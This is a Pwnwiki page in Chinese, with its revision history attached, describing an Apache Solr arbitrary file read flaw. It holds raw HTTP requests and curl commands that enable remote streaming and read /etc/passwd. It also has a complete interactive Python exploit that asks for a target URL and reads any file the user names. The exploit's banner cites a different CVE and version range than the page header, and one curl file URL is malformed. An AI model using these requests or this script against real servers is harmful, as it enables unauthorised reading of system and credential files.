Pwnwiki: Marked this version for translation

2021-03-18T02:38:32Z

Marked this version for translation

Pwnwiki: Created page with " ==漏洞影響==

 Apache Solr <= 8.8.1

==漏洞利用== 首先進入管理員頁..."

2021-03-18T02:38:20Z

Created page with "<languages /> <translate> ==漏洞影響== </translate> <pre> Apache Solr <= 8.8.1 </pre> <translate> ==漏洞利用== </translate> <translate> 首先進入管理員頁..."

New page

<languages />

<translate>
==漏洞影響==
</translate>
<pre>
Apache Solr <= 8.8.1
</pre>

<translate>
==漏洞利用==
</translate>

<translate>
首先進入管理員頁面，獲取core的信息：
</translate>

<pre>
http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json
</pre>

<translate>
發送以下數據包
</translate>
<pre>
POST /solr/ckan/config HTTP/1.1
Host: xxx.xxx.xxx:8983
Content-Length: 99
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://118.31.46.134:8983
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://118.31.46.134:8983/solr/ckan/config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true},"olrkzv64tv":"="}
</pre>

<translate>
==文件讀取==
</translate>
<pre>
POST /solr/ckan/debug/dump?param=ContentStreams HTTP/1.1
Host: xxx.xxx.xxx.xxx:8983
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Origin: http://118.31.46.134:8983
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://118.31.46.134:8983/solr/ckan/config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

stream.url=file:///etc/passwd
</pre>

<translate>
curl請求爲：
</translate>
<pre>
curl -d '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xxx.xxx.xxx.xxx:8983/solr/{corename}/config -H 'Content-type:application/json'
curl "http://xxx.xxx.xxx.xxx:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file://etc/passwd"
</pre>

==POC==
<pre>
import requests
import sys
import random
import re
import base64
import time
from lxml import etree
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Apache Solr < 8.2.0 \033[0m')
print('+ \033[36m使用格式: python3 CVE-2019-0193.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8983 \033[0m')
print('+ \033[36mFile >>> 文件名称或目录 \033[0m')
print('+------------------------------------------')

def POC_1(target_url):
core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
try:
response = requests.request("GET", url=core_url, timeout=10)
core_name = list(json.loads(response.text)["status"])[0]
print("\033[32m[o] 成功获得core_name,Url为：" + target_url + "/solr/" + core_name + "/config\033[0m")
return core_name
except:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
sys.exit(0)

def POC_2(target_url, core_name):
vuln_url = target_url + "/solr/" + core_name + "/config"
headers = {
"Content-type":"application/json"
}
data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
print("\033[36m[o] 正在准备文件读取...... \033[0m".format(target_url))
if "This" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {} 可能存在漏洞 \033[0m".format(target_url))
else:
print("\033[31m[x] 目标 {} 不存在漏洞\033[0m".format(target_url))
sys.exit(0)

except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)

def POC_3(target_url, core_name, File_name):
vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = 'stream.url=file://{}'.format(File_name)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
if "No such file or directory" in response.text:
print("\033[31m[x] 读取{}失败 \033[0m".format(File_name))
else:
print("\033[36m[o] 响应为:\n{} \033[0m".format(json.loads(response.text)["streams"][0]["stream"]))

except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
core_name = POC_1(target_url)
POC_2(target_url, core_name)
while True:
File_name = str(input("\033[35mFile >>> \033[0m"))
POC_3(target_url, core_name, File_name)
</pre>

Apache Solr任意文件讀取漏洞 - Revision history

Pwnwiki: Marked this version for translation

Pwnwiki: Created page with " ==漏洞影響==
Apache Solr <= 8.8.1
==漏洞利用== 首先進入管理員頁..."

@@ Line 2: / Line 2: @@
 <translate>
-==漏洞影響==
+==漏洞影響== <!--T:1-->
 </translate>
 <pre>
@@ Line 9: / Line 9: @@
 <translate>
-==漏洞利用==
+==漏洞利用== <!--T:2-->
 </translate>
 <translate>
 首先進入管理員頁面，獲取core的信息：
 </translate>
@@ Line 22: / Line 23: @@
 <translate>
 發送以下數據包
 </translate>
@@ Line 43: / Line 45: @@
 <translate>
-==文件讀取==
+==文件讀取== <!--T:5-->
 </translate>
 <pre>
@@ Line 65: / Line 67: @@
 <translate>
 curl請求爲：
 </translate>